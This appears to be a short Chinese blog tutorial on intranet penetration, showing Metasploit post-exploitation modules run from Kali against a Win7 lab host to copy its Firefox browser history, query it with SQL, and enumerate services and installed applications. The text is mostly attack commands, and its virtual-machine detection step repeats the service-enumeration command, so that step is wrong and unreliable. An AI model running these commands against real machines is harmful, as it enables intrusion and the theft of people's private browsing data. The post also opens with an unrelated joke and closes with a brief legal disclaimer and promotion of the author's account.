內網滲透 -- 獲取內網瀏覽器歷史記錄等相關信息

“我喜歡你，做我女朋友可以嗎？”

電話的那頭沒有反應，男生沉不住氣了，

小心翼翼地問着，“你在幹嘛呀？”

“我在點頭。”

----  網易雲熱評

 

環境：小攻：Kali 2020，ip：192.168.1.133

          小受：win7 x86，ip：192.168.1.137

 

一、生成木馬及監聽主機參考上篇文章：

 

 

二、獲取瀏覽器歷史記錄

1、通過後滲透模塊獲取瀏覽器歷史記錄

run post/windows/gather/forensics/browser_history

2、打開拷貝到本地的文件

/root/.msf4/local/aiyou_Firefox_wqsz7fg5.default-release_places.sqlite

3、通過執行SQL獲取小受瀏覽過的歷史記錄

SELECT url FROM moz_places

三、獲取開啓的服務

run post/windows/gather/enum_services

 

四、檢測是否是虛擬機

run post/windows/gather/enum_services

 

 

五、查看安裝了哪些應用

run post/windows/gather/enum_applications

 

禁止非法，後果自負

歡迎關注公衆號：web安全工具庫